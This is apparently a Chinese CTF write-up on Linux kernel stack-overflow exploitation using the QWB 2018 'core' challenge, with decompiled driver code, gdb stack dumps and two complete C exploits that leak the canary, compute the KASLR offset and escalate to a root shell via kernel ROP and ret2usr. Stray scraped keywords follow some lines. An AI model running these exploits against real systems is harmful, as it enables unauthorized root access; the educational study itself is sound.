kernel pwn學習 --棧溢出

本文記錄我學習kernel pwn的過程,着重分析kernel pwn中棧相關的漏洞利用linux

這裏以強網杯2018的一道題目爲例展開分析c++

2018年強網杯core

與用戶態的pwn題給一個二進制文件進行漏洞分析並攻擊遠程服務器不一樣,內核態的pwn題是給選手一個虛擬的文件系統,主要是分析驅動文件中存在的漏洞,最終目的是將用戶提權值root權限,因此內核態的exp也是用c語言編寫。shell

題目文件bash

start.sh 開啓環境的腳本服務器

vmlinux 未經壓縮的內核函數

bzImage 壓縮過的內核學習

core.cpio 壓縮後的文件映像ui

解包:scala

mkdir core
mv core.cpio ./core/core.cpio.gz
cd core
gunzip core.cpio.gz
cpio -idmv < core.cpio

打包:3d

./gen_cpio.sh core.cpio
mv core.cpio ../core.cpio

驅動分析

init_module

建立一個虛擬文件

__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);// create vitrul file core
  printk(&unk_2DE);
  return 0LL;
}

core_write

signed __int64 __fastcall core_write(__int64 fd, __int64 buf, unsigned __int64 n)
{
  unsigned __int64 v3; // rbx

  v3 = n;
  printk(&unk_215);
  if ( v3 <= 0x800 && !copy_from_user(&name, buf, v3) )
    return v3;
  printk(&unk_230);
  return 0xFFFFFFF2LL;
}

往全局變量name中寫入數據

core_read

unsigned __int64 __fastcall core_read(__int64 fd)
{
  __int64 v1; // rbx
  __int64 *v2; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  v1 = fd;
  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = &v5;
  for ( i = 16LL; i; --i )
  {
    *v2 = 0;
    v2 = (v2 + 4);
  }
  strcpy(&v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(v1, &v5 + off, 0x40LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}

從&v5(rbp-0x50)+off處讀取0x40字節的數據到 v1(fd) => leak canary

core_copy_function

signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
  signed __int64 result; // rax
  __int64 v2; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  {
    printk(&byte_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v2, &name, (unsigned __int16)a1);  // 存在整數溢出,溢出a1的值便可形成棧溢出
  }
  return result;
}

從name複製內存到v2,v2在棧上,配合整數溢出便可進行rop。

core_iotcl

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // rbx

  v3 = a3;
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = v3;
      break;
    case 0x6677889A:
      printk(&byte_2B3);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

經過不一樣命令執行core_read set_off core_copy_func

程序調試

本地qemu掛起,gdb接上端口調試

target remote:1234

獲取core.ko的裝載地址

cat /sys/module/core/sections/.text > /tmp/core.text

驅動加載基地址

add-symbol-file core.ko addr #addr爲core.ko的裝載地址

加載vmlinux的符號表

file  ./vmlinux

在未開啓kaslr時,vmlinux的基地址是固定的。本題開了kaslr,因此須要將leak kaslr的偏移

vmlinux base = 0xffffffff81000000 #未開啓kaslr時

設置off的值

將斷點打在core_read+105

.text:00000000000000CC                 call    _copy_to_user
pwndbg> stack 20
00:0000│ rax rsi rsp  0xffffbcb3c00d3e18 ◂— push   rdi /* 0x20656d6f636c6557; 'Welcome to the QWB CTF challenge.\n' */
01:0008│              0xffffbcb3c00d3e20 ◂— je     0xffffbcb3c00d3e91 /* 0x5120656874206f74; 'to the QWB CTF challenge.\n' */
02:0010│              0xffffbcb3c00d3e28 ◂— push   rdi /* 0x6320465443204257; 'WB CTF challenge.\n' */
03:0018│              0xffffbcb3c00d3e30 ◂— push   0x656c6c61 /* 0x65676e656c6c6168; 'hallenge.\n' */
04:0020│              0xffffbcb3c00d3e38 ◂— 0xa2e /* '.\n' */
05:0028│              0xffffbcb3c00d3e40 ◂— 0
... ↓
08:0040│              0xffffbcb3c00d3e58 ◂— add    dh, al /* 0x402ff60dad7dc600 */   #cancary
09:0048│              0xffffbcb3c00d3e60 —▸ 0x1125dd0 ◂— 0
0a:0050│              0xffffbcb3c00d3e68 —▸ 0xffffffffc001319b (core_ioctl+60) ◂— jmp    0xffffffffc00131b5
0b:0058│              0xffffbcb3c00d3e70 —▸ 0xffffa3174752bc00 ◂— add    qword ptr [r8], rax /* 0x81b6f000014b */
0c:0060│              0xffffbcb3c00d3e78 —▸ 0xffffffffac3dd6d1 ◂— mov    rdi, rbx
0d:0068│              0xffffbcb3c00d3e80 ◂— wait    /* 0x889b */
0e:0070│              0xffffbcb3c00d3e88 —▸ 0xffffa31747aea900 ◂— 0
0f:0078│              0xffffbcb3c00d3e90 —▸ 0xffffffffac38ecfa ◂— cmp    eax, 0xfffffdfd
10:0080│              0xffffbcb3c00d3e98 —▸ 0xffffbcb3c00d3e70 —▸ 0xffffa3174752bc00 ◂— add    qword ptr [r8], rax /* 0x81b6f000014b */
11:0088│              0xffffbcb3c00d3ea0 ◂— 0
... ↓
13:0098│              0xffffbcb3c00d3eb0 —▸ 0xffffffffad456968 —▸ 0xffffffffad98af50 ◂— push   -0x52ba97 /* 0xffffffffad456968 */

經過調試能夠發現,rsp+0x40處儲存了canary的值

經過查看rsi寄存器的值肯定偏移

因此將off設置爲0x40便可leak canary的值

ioctl(fd, INS_SET_OFF, 0x40);   // set off to 0x40
char *buf = (char *)malloc(0x40);   // buffer of leak data
ioctl(fd, INS_READ, buf);   // leak canary in kernel-stack
canary = *(size_t *)buf;

kernel rop

獲取內核函數地址以及kaslr偏移

在kallsyms中存儲了內核函數的地址,能夠讀取去獲取內核態函數的地址,同時計算出kaslr的偏移

void leak_addr_of_kernel(){
    char *buf = (char *)malloc(0x50);
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");

    while(fgets(buf, 0x50, kallsyms)){
        if(strstr(buf, "prepare_kernel_cred")){
            sscanf(buf, "%lx", &prepare_kernel_cred);
            printf("[*] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
        }

        if(strstr(buf, "commit_creds")){
            sscanf(buf, "%lx", &commit_creds);
            printf("[*] commit_creds : 0x%lx\n", commit_creds);
            offest = commit_creds - 0xffffffff8109c8e0;
            vmlinux_base =  0xffffffff81000000 + offest;
            printf("[*] offset : 0x%lx\n", offest);
            printf("[*] vmlinux base : 0x%lx\n", vmlinux_base);
        }
    }
}

構造ROP鏈

rop鏈構造 執行commit_creds(prepare_kernel_cred(0)) 而後返回用戶態開一個shell

for(i=0; i<10; i++){
        rop[i] = canary;
    } 
    rop[i++] = 0xffffffff81000b2f + offest;   // pop rdi ; ret
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;           // prepare_kernel_cred(0)
    rop[i++] = 0xffffffff810a0f49 + offest;   // pop rdx ; ret
    rop[i++] = commit_creds;
    rop[i++] = 0xffffffff8106a6d2 + offest;   // mov rdi, rax ; jmp rdx
    rop[i++] = 0xffffffff81a012da + offest;   // swapgs ; popfq ; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff81050ac2 + offest;   // iretq; ret;
    rop[i++] = (size_t)get_shell;              // rip
    rop[i++] = usr_cs;                     
    rop[i++] = usr_rflags;                 
    rop[i++] = usr_rsp;                    
    rop[i++] = usr_ss;

Expliot:

//gcc -static -masm=intel -g -o rop rop.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define SET_OFF 0x6677889C
#define READ 0x6677889B
#define COPY_FUNC 0x6677889A
void leak_addr_of_kernel();
void get_usr_regs();
void get_shell();

size_t canary = 0; // value of canary
size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
size_t offest; // offset of kaslr
size_t vmlinux_base; //  vmlinux base address
size_t rop[100] = {0};  // payload
size_t usr_cs, usr_ss, usr_rsp, usr_rflags;  // registers of user mode

int main(){
    get_usr_regs();
    leak_addr_of_kernel();
    int fd = open("/proc/core", O_RDWR);
    if(fd < 0){
        puts("[!] fail to open file [!]");
        exit(0);
    }
    ioctl(fd, SET_OFF, 0x40);   // set off to 0x40
    char *buf = (char *)malloc(0x40);   // buffer of leak data
    ioctl(fd, READ, buf);   // leak canary in kernel-stack
    canary = *(size_t *)buf;
    printf("[*] canary : 0x%lx\n", canary);

    int i;
    for(i=0; i<10; i++){
        rop[i] = canary;
    }
    rop[i++] = 0xffffffff81000b2f + offest;   // pop rdi ; ret
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;           // prepare_kernel_cred(0)
    rop[i++] = 0xffffffff810a0f49 + offest;   // pop rdx ; ret
    rop[i++] = commit_creds;
    rop[i++] = 0xffffffff8106a6d2 + offest;   // mov rdi, rax ; jmp rdx
    rop[i++] = 0xffffffff81a012da + offest;   // swapgs ; popfq ; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff81050ac2 + offest;   // iretq; ret;
    rop[i++] = (size_t)get_shell;              
    rop[i++] = usr_cs;                     
    rop[i++] = usr_rflags;                 
    rop[i++] = usr_rsp;                    
    rop[i++] = usr_ss;                    

    write(fd, rop, 8*25);    
    ioctl(fd, COPY_FUNC,  0xf000000000000000+25*8); 
}

/* read symbols addr in /tmp/kallsyms and calc the vmlinux base */
void leak_addr_of_kernel(){
    char *buf = (char *)malloc(0x50);
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");

    while(fgets(buf, 0x50, kallsyms)){
        if(strstr(buf, "prepare_kernel_cred")){
            sscanf(buf, "%lx", &prepare_kernel_cred);
            printf("[*] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
        }

        if(strstr(buf, "commit_creds")){
            sscanf(buf, "%lx", &commit_creds);
            printf("[*] commit_creds : 0x%lx\n", commit_creds);
            offest = commit_creds - 0xffffffff8109c8e0;
            vmlinux_base =  0xffffffff81000000 + offest;
            printf("[*] offset : 0x%lx\n", offest);
            printf("[*] vmlinux base : 0x%lx\n", vmlinux_base);
        }
    }
}

void get_usr_regs(){
    __asm__(
        "mov usr_cs, cs;"
        "mov usr_ss, ss;"
        "mov usr_rsp, rsp;"
        "pushfq;"
        "pop usr_rflags;"
    );
    printf("[*] save regs of user mode, done !!!\n");
}

void get_shell(){
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[!] get_shell failed");
    }
    exit(0);
}

ret2usr

因爲本題沒有開smep保護,既能夠在內核態執行用戶空間的代碼

能夠把commit_creds(prepare_kernel_cred(0))寫成一個函數直接在rop中執行

void privilege_escalation(){
    if(commit_creds && prepare_kernel_cred){
        (*((void (*)(char *))commit_creds))(
            (*((char* (*)(int))prepare_kernel_cred))(0)
        );
    }
}

在rop鏈上的構造與rop有所不一樣

for(i=0; i<10; i++){
        rop[i] = canary;
    }
    rop[i++] = (size_t)privilege_escalation;
    rop[i++] = 0xffffffff81a012da + offest;   // swapgs ; popfq ; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff81050ac2 + offest;   // iretq; ret;
    rop[i++] = (size_t)shell;              // rip
    rop[i++] = usr_cs;                     // cs
    rop[i++] = usr_rflags;                 // rflags
    rop[i++] = usr_rsp;                    // rsp
    rop[i++] = usr_ss;                     // ss

Expliot:

/* compile  
gcc -static -masm=intel -g -o exp exp.c */
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define SET_OFF 0x6677889C
#define READ 0x6677889B
#define COPY_FUNC 0x6677889A
void leak_addr_of_kernel();
void get_usr_regs();
void privilege_escalation();
void get_shell();
size_t canary = 0; // value of canary
size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
size_t offest; // offset of kaslr
size_t vmlinux_base; //  vmlinux base address
size_t rop[100] = {0};  // payload
size_t usr_cs, usr_ss, usr_rsp, usr_rflags;  // registers of user mode

int main(){
    get_usr_regs();
    leak_addr_of_kernel();
    int fd = open("/proc/core", O_RDWR);
    if(fd < 0){
        puts("[!] fail to open file [!]");
        exit(0);
    }
    ioctl(fd, SET_OFF, 0x40);   // set off to 0x40
    char *buf = (char *)malloc(0x40);   // buffer of leak data
    ioctl(fd, READ, buf);   // leak canary in kernel-stack
    canary = *(size_t *)buf;
    printf("[*] canary : 0x%lx\n", canary);

    int i;
    for(i=0; i<10; i++){
        rop[i] = canary;
    }
    rop[i++] = (size_t)privilege_escalation;
    rop[i++] = 0xffffffff81a012da + offest;   // swapgs ; popfq ; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff81050ac2 + offest;   // iretq; ret;
    rop[i++] = (size_t)get_shell;              // rip
    rop[i++] = usr_cs;                     // cs
    rop[i++] = usr_rflags;                 // rflags
    rop[i++] = usr_rsp;                    // rsp
    rop[i++] = usr_ss;                     // ss

    write(fd, rop, 8*25);    
    ioctl(fd, COPY_FUNC,  0xf000000000000000+25*8);
}
void leak_addr_of_kernel(){
    char *buf = (char *)malloc(0x50);
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");

    while(fgets(buf, 0x50, kallsyms)){
        if(strstr(buf, "prepare_kernel_cred")){
            sscanf(buf, "%lx", &prepare_kernel_cred);
            printf("[*] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
        }

        if(strstr(buf, "commit_creds")){
            sscanf(buf, "%lx", &commit_creds);
            printf("[*] commit_creds : 0x%lx\n", commit_creds);
            offest = commit_creds - 0xffffffff8109c8e0;
            vmlinux_base =  0xffffffff81000000 + offest;
            printf("[*] offset : 0x%lx\n", offest);
            printf("[*] vmlinux base : 0x%lx\n", vmlinux_base);
        }
    }
}

void get_usr_regs(){
    __asm__(
        "mov usr_cs, cs;"
        "mov usr_ss, ss;"
        "mov usr_rsp, rsp;"
        "pushfq;"
        "pop usr_rflags;"
    );
    printf("[*] save regs of user mode, done !!!\n");
}
void privilege_escalation(){
    if(commit_creds && prepare_kernel_cred){
        (*((void (*)(char *))commit_creds))(
            (*((char* (*)(int))prepare_kernel_cred))(0)
        );
    }
}

void get_shell(){
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[!] get_shell failed");
    }
    exit(0);
}

參考

http://p4nda.top/2018/07/13/ciscn2018-core/#core

https://www.sunxiaokong.xyz/2020-02-09/lzx-qwb2018-core/

相關文章
相關標籤/搜索